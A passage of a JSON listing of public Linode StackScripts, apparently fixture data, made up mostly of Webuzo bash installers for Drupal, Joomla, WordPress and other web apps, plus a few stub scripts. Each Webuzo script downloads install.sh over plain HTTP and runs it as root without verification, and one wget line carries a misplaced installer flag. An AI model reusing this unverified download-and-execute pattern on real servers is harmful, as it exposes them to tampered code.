XML publishing for content sharing purposes.\n###########################################################################################################\n\n# Install Drupal Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=30&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Drupal and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Drupal has been successfully installed\"\necho \" \"\necho \"You can now configure Drupal and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9247, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "UIkit powered by Webuzo", "description": "UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\r\n\r\nUIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, easy to customize and extendable.\r\n\r\nUIkit is open source and MIT licensed. It is absolutely free of charge and you can use, copy, merge, publish and distribute the framework without any limitations.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure UIkit and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "UIkit powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install UIkit and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About UIkit :\n# UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\n# UIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, \n# easy to customize and extendable.\n###########################################################################################################\n\n# Install UIkit Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=471&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling UIkit and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, UIkit has been successfully installed\"\necho \" \"\necho \"You can now configure UIkit and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14367, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu-flapjack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Flapjack handler for Sensu\n#\n# Dependencies:\n# - Redis provided for Flapjack\n# - Sensu server\n##\nset -eux\n\nsource env.sh\n\ncd /tmp\n\ngit clone git://github.com/sensu/sensu-community-plugins.git\ncp sensu-community-plugins/extensions/handlers/flapjack.rb /etc/sensu/extensions/handlers\n\ncp $BASE_PATH/etc/sensu/conf.d/flapjack.json /etc/sensu/conf.d", "user_defined_fields": []}, {"id": 11040, "username": "zhangfan", "user_gravatar_id": "6378c7beab2f878c31ff5c112efbd437", "label": "StackScript", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian6"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!StackScript", "user_defined_fields": []}, {"id": 14368, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-uchiwa", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs Uchiwa, a multi-datacenter dashboard for Sensu\n#\n# Provides:\n# - HTTP (TCP/8010)\n#\n# Dependencies:\n# - Sensu API\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/install-sensu.sh\n\napt-get install -yq uchiwa\n\ncp $BASE_PATH/etc/sensu/uchiwa.json /etc/sensu\n\nupdate-rc.d uchiwa defaults\n\nservice uchiwa restart", "user_defined_fields": []}, {"id": 764448, "username": "br01fox", "user_gravatar_id": "aed368e47ef5ba2d07e560d71868f8b5", "label": "Slackware is fun ", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Slackware", "script": "#!/bin/bash\n\nSlackware is fun.", "user_defined_fields": []}, {"id": 8993, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "AbanteCart powered by Webuzo", "description": "Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online business and sell products online quick and efficient.\r\n\r\nAbanteCart application is built and supported by experienced enthusiasts that are passionate about their work and contribution to rapidly evolving eCommerce industry.\r\n\r\nAbanteCart is more than just a shopping cart, it is rapidly growing eCommerce platform with many benefits. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure AbanteCart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "AbanteCart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install AbanteCart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About AbanteCart :\n# Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online \n# business and sell products online quick and efficient. \n###########################################################################################################\n\n# Install AbanteCart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=389&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling AbanteCart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, AbanteCart has been successfully installed\"\necho \" \"\necho \"You can now configure AbanteCart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9249, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SiteCake powered by Webuzo", "description": "SiteCake is a drag and drop CMS for simple websites. It lets you publish the content just by dragging it to your web page. It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\r\n\r\nSiteCake was designed to be simple enough for a designer to integrate it on their own, without a need to hire a developer. SiteCake was designed to be simple enough for a site owner to change some text, swap some photos and add a video on their own, without a need to hire a web editor.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SiteCake and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SiteCake powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SiteCake and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SiteCake :\n# SiteCake is a drag and drop CMS for simple websites.\n# It lets you publish the content just by dragging it to your web page.\n# It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\n###########################################################################################################\n\n# Install SiteCake Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=480&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SiteCake and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SiteCake has been successfully installed\"\necho \" \"\necho \"You can now configure SiteCake and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8994, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites \n# and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made \n# Joomla the most popular Web site software available. Best of all, Joomla is an open source \n# solution that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=413&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description": "MyBB is a free bulletin board system software package developed by the MyBB Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it easy to use. MyBB uses a standard discussion board structure, so your visitors will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MyBB and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MyBB powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MyBB and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MyBB :\n# MyBB is a free bulletin board system software package developed by the MyBB Group.\n###########################################################################################################\n\n# Install MyBB Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=36&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MyBB and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MyBB has been successfully installed\"\necho \" \"\necho \"You can now configure MyBB and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9252, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Pebble powered by Webuzo", "description": "Pebble is a lightweight, open source, Java EE blogging tool. It''s small, fast and feature-rich with unrivalled ease of installation and use.\r\n\r\nBlog content is stored as XML files on disk and served up dynamically, so there''s no need to install a database. All maintenance and administration can be performed through your web browser, making Pebble ideal for anybody who is constantly on the move or doesn''t have direct access to their host. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Pebble and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Pebble powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Pebble and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Pebble :\n# Pebble is a lightweight, open source, Java EE blogging tool.\n# It''s small, fast and feature-rich with unrivalled ease of installation and use.\n###########################################################################################################\n\n# Install Pebble Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=429&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Pebble and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Pebble has been successfully installed\"\necho \" \"\necho \"You can now configure Pebble and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 355877, "username": "evin2", "user_gravatar_id": "9db591667a2b7decad610db319c613bc", "label": "Epasqualetti", "description": "Test to call stackscript with label", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n\n# It works!", "user_defined_fields": []}, {"id": 9254, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo", "description": "Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java web application that should be able to run on any Java EE server and relational database. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Apache Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Apache Roller and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Apache Roller :\n# Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\n# Apache Roller is a Java web application that should be able to run on any Java EE server and relational database. \n###########################################################################################################\n\n# Install Apache Roller Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=484&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Apache Roller and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Apache Roller has been successfully installed\"\necho \" \"\necho \"You can now configure Apache Roller and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8231, "username": "shakilaid1", "user_gravatar_id": "92c44b5a4f7186e4a6f2320505505b0c", "label": "ererer", "description": "errer", "ordinal": 0, "logo_url": "", "images": ["linode/debian7.4"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9255, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WordPress + Nginx powered by Webuzo", "description": "WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time.\r\n\r\nMore simply, WordPress is what you use when you want to work with your blogging software, not fight it. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WordPress and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WordPress + Nginx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WordPress + Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WordPress :\n# WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.\n# WordPress is both free and priceless at the same time.\n# More simply, WordPress is what you use when you want to work with your blogging software, not fight it.\n###########################################################################################################\n\n# Install WordPress Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=26&license=$1\"\n \n}\n\n# Install Nginx Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh --install=nginx,mysql,php53,perl,python2,pureftpd,bind >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WordPress + NGINX and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WordPress has been successfully installed\"\necho \" \"\necho \"You can now configure WordPress and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 102439, "username": "poohflya", "user_gravatar_id": "bf99d31a5d9641a61079b25a4c1f5757", "label": "DAM", "description": "DAM", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu17.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9001, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Concrete5 powered by Webuzo", "description": "Concrete5 makes running a website easy. Go to any page in your site, and a editing 